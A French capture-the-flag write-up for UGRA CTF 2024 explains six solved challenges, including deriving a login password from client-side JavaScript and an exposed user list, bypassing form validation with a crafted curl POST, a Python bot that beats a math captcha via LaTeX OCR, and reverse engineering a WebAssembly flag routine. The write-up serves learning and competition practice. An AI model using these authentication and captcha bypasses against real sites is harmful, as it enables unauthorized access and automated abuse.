Write-Up UGRA CTF 2024


Write-Up UGRA CTF 2024

Epreuves Réalisées



Wicket Gate

Cette épreuve nous présente un site de bibliothèque :

site1

Je vous passe la traduction du russe mais nous pouvons voir un formulaire d’authentification dans la page du second onglet

Authentification

site2

La page présente un système d’authentification avec deux informations :

nous pouvons voir dans la page un code javascript :

document.getElementById("loginForm").addEventListener("submit", async function(event) {
	event.preventDefault();
	if (await validateCredentials()){
		  this.submit();
	}
	else{
	  alert("Недействительный номер читательского билета (возможно, вы не подписали Согласие на обработку персональных данных, обратитесь в библиотеку по адресу, указанному на Главной странице");
	}
});
async function validateCredentials() {
	var chitateli = await fetch('/ohtxfvqrgjegd6t6/list_users').then(response => {
		return response.json();
	  }).catch(err => {
		console.log(err);
	  })
	var bilet = document.getElementById('bilet').value;
	var reader_password = document.getElementById('password').value;
	if (bilet in chitateli){
	  if (chitateli[bilet].isValid == true && chitateli[bilet].signedOnlineConsent == true){
		let password = "";
		password += bilet[5] + bilet[4] + bilet[6];
		password += String.fromCharCode(1040+parseInt(bilet[3]));
		password += String.fromCharCode(1040+parseInt(bilet[7]));
		password += String.fromCharCode(1040+parseInt(bilet[8]));
		password += String(10 - parseInt(bilet[0]));
		password += '7'
		if (password.match(/[0-9]{3}[А-Я]{3}[0-9]{2}/) && password == reader_password){
		  return true;
		}
	  }
	}
	return false;
}

Aussi, lors de la validation du formulaire, nous pouvons voir un appel à l’endpoint list_users :

https://wicketgate.q.2024.ugractf.ru/ohtxfvqrgjegd6t6/list_users

Cet endpoint présente :

Nous pouvons voir dans le code #javascript qu’un bon utilisateur est valide et a signé le consentement :

if (chitateli[bilet].isValid == true && chitateli[bilet].signedOnlineConsent == true)

Le code construit après le mot de passe de l’utilisateur en fonction de son numéro.

Nous prenons un numéro valide :

"8610014990":{
	"isValid":true,
	"signedOnlineConsent":true
	}

Nous construisons son mot de passe :

bilet = "8610014990"
password = ""; 
assword += bilet[5] + bilet[4] + bilet[6];
password += String.fromCharCode(1040+parseInt(bilet[3]));
password += String.fromCharCode(1040+parseInt(bilet[7]));
password += String.fromCharCode(1040+parseInt(bilet[8]));
password += String(10 - parseInt(bilet[0]));
password += '7'

Nous obtenons : 104АЙЙ27 pour l’utilisateur de numéro 8610014990.

Page de catalogue

Après l’authentification, nous pouvons aller sur le 3eme onglet jusqu’alors verrouillé, un catalogue.

site3

Seul le dernier lien est intéressant, il possède des champs à renseigner pour vérification :

site4

La page possède un code javascript :

document.getElementById("orderForm").addEventListener("submit", function(event) {
	event.preventDefault();
	if (ReaderCheck()){
		  this.submit();
	}
	else{
	  alert("Не подтверждена личность читателя!");
	}
});                     

function ReaderCheck() {
	var vuz_id = document.getElementById('vuz_id').value;
	if (!vuz_id.match(/^[0-9]{13}$/)){
		return false;
	}   
	var driver_id = document.getElementById('driver_id').value;
	if (!driver_id.match(/^[0-9]{2}\s[0-9]{2}\s[0-9]{6}$/)){
		return false;
	}
}

Nous pouvons ignore la vérification en faisant nous même la requête avec notre cookie de session et les paramètre POST (qui ne seront du coup pas vérifiés).

Nous procédons avec #curl :

curl -X POST \
https://wicketgate.q.2024.ugractf.ru/ohtxfvqrgjegd6t6/catalog/11 \
-H "Cookie: session=eyJhdXRoIj...f5h8k" \
-d 'vuz_id=000000000000&driver_id=00 00 000000'

Réponse :

<!DOCTYPE html>
<html>
  <head>
    <title>Выписка книги</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <!-- Bootstrap -->
    <link href="//cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
  </head>
  <body>
	[...]
      <li>Книга была успешно выписана! Для получения книги, предъявите следующий код при посещении библиотеки: ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv </li>
	[...]
  </body>
</html>

Traduction :

Le livre a été extrait avec succès ! Pour recevoir un livre, présentez le code suivant lors de votre visite à la bibliothèque : ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv

Le flag est : ugra_wicket_gate_is_not_wicked_uqpg40dtv4jv

A Messenger

Paper please

Nous pouvons voir une image :

site1

C’est une référence claire au jeu paper please, l’élément de déchiffrement :

site2

Déchiffrement

En passant l’élément de déchiffrement sur l’image, nous pouvons voir deux chaînes distinctes :

site3

Donne : ugra*snowier*pa

site4

Donne : stures*8m0fksqx

Si l’on colle les deux chaînes et que l’on remplace les * par des _, cela donne le flag :

ugra_snowier_pastures_8m0fksqx

Easy/Uneasy

Easy ou Uneasy ?

Le site de la compétition dit qu’il existe une manière plus facile de terminer Easy et que Uneasy est la version patchée de celle-ci.

je vais exposer une méthode plutôt attendue, donc elle fonctionne pour les deux épreuves (qui sot en tout point similaires d’un point de vue front-end)

Première aproche

Nous débarquons sur un site qui nous propose de cliquer 2000+ fois sur un bouton pour obtenir le flag, problème, après quelques clics, un captcha apparait, et pas des plus faciles :

site4

Stratégie

La stratégie pour automatiser le processus de résolution de captcha est la suivante :

Récupération de l’image

L’image est un png codé en base64, Pour le voir, il faut regarder la réponse reçue lors d’un clic sur le bouton.

Un clic sur le bouton envoie un #json en requête POST au endpoint /click de la forme :

{
	"captcha_result": VALEUR
}

Si un captcha est demandé et que la valeur envoyée est fausse ou que le captcha vient d’être mis en place, le JSON renvoyé par le serveur est de la forme :

{
	"counter": NOMBRE_DE_CLICK_RESTANT,
	"flag": null,
	"need_captcha": True,
	"picture" : [L'image en base64]
}

Si toutefois le captcha renvoyé valide ou qu’il n’y avait pas besoin de donner une réponse, le serveur renverra un JSON de la forme :

{
	"counter": NOMBRE_DE_CLICK_RESTANT,
	"flag": null,
	"need_captcha": False
}

Après une vérification de captcha, nous pouvons faire quelque clics avant qu’il ne revienne.

Conclusion, nous pouvons facilement récupérer l’image avec ce que le serveur nous renvoie.

Récupération du calcul

L’image ressemblant fort à une mise en page #LaTeX, je me suis dit que j’allais chercher une sorte d’OCR pour le LaTeX.

Un repository github tout à fait utile : LaTeX-OCR

Cette libraire python permet de reconnaître un calcul et de le transformer en code LaTeX.

Exemple en #python :

img = Image.open('image_du_calcul.png')
model = LatexOCR()
code_latex = model(img)
print(code_latex)

Cela va nous donner quelque chose comme :

\frac{4\cdot0\cdot(8+6)\cdot4}{(5-(3-1))\cdot8\cdot((0-2)\cdot(8+7)+6-(8+6))}

Ce qui n’est pas très lisible par une fonction d’évaluation tel que eval en python.

Nous simplifions donc tout ca avec des expressions régulières #regex.

Exploitation finale

import requests, re
from base64 import b64decode
from PIL import Image
from pix2tex.cli import LatexOCR
  
url = "URL"
headers = {
	"Content-Type": "application/json"
}
data = {"captcha_response": ""}
counter, flag, picture, req = -1, None, "", None
  
while flag == None:
	need_captcha = False
  
	while not need_captcha and flag == None:
		req = requests.post(url, headers=headers, json=data)
		result = req.json()
		need_captcha = result["need_captcha"]
		counter = int(result["counter"])
		flag = result["flag"]
		if(counter % 100 == 0): print("[+] COUNTER :", counter)
	if flag == None:
		picture = result["picture"].split("64,")[1]
		  
		try:
			with open("essai.png", "wb") as latex_file:
			latex_file.write(b64decode(picture))
			img = Image.open('/home/schizoboy/Téléchargements/essai.png')
			model = LatexOCR()
			calc = model(img)
			calc = eval(re.sub(r'frac{([^}]*)}{([^}]*)}', r'((\1)/(\2))', calc.replace("\\", "").replace("cdot", "*").replace("left","").replace("right", "")).replace("{", "").replace("}", ""))
			data["captcha_response"] = int(calc*1000)/1000
		except:
			print("[+] OCR failed")
  
print("[+] FLAG :", flag)

Incoming Letter

Fichier eml

Un fichier eml (abréviation d’email) est un fichier contenant un mails et ses diverses données/metadonnées.

Ce fichier semble ici contenir des images et du texte. Le texte semble soit chiffré, soit encodé :

site4

Encodage

Après de longues recherches, nous trouvons que le mauvais encodage du texte est quelque chose qui arrive souvent aux russes avec l’encodage Windows-1251, un encodage sur 8-bit, posant problème avec le cyrillique.

Un programme python permettant de retrouver de l’UTF-8 à partir de cet encodage est :

t = "..."
print(t.encode('windows-1251').decode('utf8'))

Flag

En parcourant le mail et en décodant morceaux par morceau, on trouve :

>>> t = "ДЛЯ участия на 101 рубль (со скидкой 9 999 рублей) ugra_stop_sending_spam_please_004123020730"

>>> t.encode("windows-1251").decode('utf8')
'ДЛЯ участия на 101 рубль (со скидкой 9 999 рублей) ugra_stop_sending_spam_please_004123020730'

Le flag : ugra_stop_sending_spam_please_004123020730

One, Two, Grab

Web Assembly

Ce challenge nous donne un fichier semblant être un #wasm. Je ne m’y connais pas assez, nous allons donc y aller par tatonnement.

On transforme le code en #base64 on le charge dans le navigateur à l’aide du code #html #js suivant :

<html>
  <body>
    <script>
      code = Uint8Array.from(atob("AGFzbQEAAAABEQRgAAF/YAAAYAF/AGABfwF/AwgHAQAAAAIDAAQFAXABAgIFBgEBgAKAAgYJAX8BQeCIwQILB4wBCQZtZW1vcnkCAAhnZXRfZmxhZwABD2dldF9mbGFnX2xlbmd0aAACC19pbml0aWFsaXplAAAZX19pbmRpcmVjdF9mdW5jdGlvbl90YWJsZQEAEF9fZXJybm9fbG9jYXRpb24ABglzdGFja1NhdmUAAwxzdGFja1Jlc3RvcmUABApzdGFja0FsbG9jAAUJBwEAQQELAQAKuQQHAwABC4gEAgd/An4jAEFAaiEBQdgIQYLru4sENgIAQdAIQpCEgKiQ+d6bo383AwBBAyEAQZCEgCghAgNAIABBAnQiA0HQCGogA0HICGooAgAiBSAAIAJzc0G5893xeXM2AgAgAEEBaiIEQYAgRkUEQCAEQQJ0QdAIaiADQcwIaigCACICIAQgBXNzQbnz3fF5czYCACAAQQJqIQAMAQsLIAFCqNe6jcv2rd29fzcDOCABQpCn2szJ86fRpX83AzAgAUL49vmLyPChxY1/NwMoIAFC4MaZy8btm7n1ADcDICABQsiWuYrF6pWt3QA3AxggAUKw5tjJw+ePocUANwMQIAFCmLb4iMLkiZUtNwMIIAFCgIaYyMDhg4kVNwMAQcgIKAIAIQBBxAgoAgAhA0EAIQIDQCADQQFqQf8fcSIDQQJ0QdAIaiIEQX9BACAArSAENQIAQt6SAX58IgdCIIgiCCAHfKciACAIpyIESSIFGyAAa0ECayIANgIAIAEgAEEQdkE/cWoiBiAGLQAAIABzOgAAIAQgBWohACACQQFqIgJBf0cNAAtByAggADYCAEHECCADNgIAQQAhAANAQcwIKAIAIABqIgIgACABai0AACACLQAAczoAACAAQQFyIgJBzAgoAgBqIgMgASACai0AACADLQAAczoAACAAQQJqIgBBwABHDQALQcwIKAIACwUAQcAACwQAIwALBgAgACQACxAAIwAgAGtBcHEiACQAIAALBgBB0IgBCwtXAgBBgAgLQGvudVLUCcf5KBfP6+4dRxtYina0KazkHDGYsmaiMSqNNQX9DK0a5zl4ZGIDh7930Z+QWH5Jz4BlEq5ZBJU96DUAQcQICwr/DwAAxIcFAAAE"), c => c.charCodeAt(0));
      wasmModule = new WebAssembly.Module(code);
      wasmInstance = new WebAssembly.Instance(wasmModule);
    </script>
  </body>
</html>

En consultant le code dans l’inspecteur, nous pouvons voir plusieurs fonctions exportés dans le fichier wasm, et donc, que l’on peut appeler grâce à l’instance créée :

(export "memory" (memory $memory0))
(export "get_flag" (func $func1))
(export "get_flag_length" (func $func2))
(export "_initialize" (func $func0))
(export "__indirect_function_table" (table $table0))
(export "__errno_location" (func $func6))
(export "stackSave" (func $func3))
(export "stackRestore" (func $func4))
(export "stackAlloc" (func $func5))

Deux sont très intéressantes : get_flag et get_flag_length. Nous pouvons les appeller comme ceci :

>> console.log(wasmInstance.exports.get_flag())
>> console.log(wasmInstance.exports.get_flag_length())

Cela renvoie :

>> 1024
>> 64

La fonction get_flag a durée assez longtemps pour renvoyer finalement un chiffre au lieu du vrai flag. La fonction get_flag_length renvoie 64, mais nous aurions aussi pu le voir en examinant le fonction elle même :

(func $func2 (result i32)
	i32.const 64
)

Le flag fait donc a priori 64 caractères.

Fonction get_flag

La fonction get_flag prend beaucoup de temps à s’exécuter, en revanche, en la regardant de plus près, nous pouvons voir quelque chose dans sa dernière boucle :

loop $label2
  i32.const 1100
  i32.load
  local.get $var0
  i32.add
  local.tee $var2
  local.get $var0
  local.get $var1
  i32.add
  i32.load8_u
  local.get $var2
  i32.load8_u
  i32.xor
  i32.store8
  local.get $var0
  i32.const 1
  i32.or
  local.tee $var2
  i32.const 1100
  i32.load
  i32.add
  local.tee $var3
  local.get $var1
  local.get $var2
  i32.add
  i32.load8_u
  local.get $var3
  i32.load8_u
  i32.xor
  i32.store8
  local.get $var0
  i32.const 2
  i32.add
  local.tee $var0
  i32.const 64           <----------- Comparaison avec la longueur du flag
  i32.ne
  br_if $label2
end $label2

Cela pourrait s’apparenter à la construction du flag même si il n’est pas imprimé.

En mettant des breakpoint dans la boucle, on peut se rendre compte que la variable $var2 va contenir des valeurs très similaires à des codes #ascii, juste après l’instruction de XOR :

local.get $var2
i32.load8_u
i32.xor

site4

Flag

En récupérant les caractères ASCII après chaque instruction XOR, nous obtenons (après décodage) :

ugra_those_are_basically_all_the_possibilities_of_wasm_r70fwqvdi

IF

Ascenseur allemand

L’épreuve est traîte d’OSINT et de reconnaissance.

On nous demande de chercher ce que IF (en deux mots) peut vouloir dire sur l’écran d’un ascenseur allemand :

site4

Nous trouvons que cela peut vouloir dire : Inspektionsfahrt en faisant une recherche en Allemand.

Les deux mots sont donc Inskpektion et Fahrt.

Nous sommes redirigés sur le endpoint /verify_result ou une magnifique photo d’Angela Merkel se tient à côté de ce qui semble être le flag distordu :

site4

Flag

Le flag est :

ugra_keep_your_schluesselbund_from_falling_into_the_aufzugskabinenetagebodenspalt_qotn7jy3nup0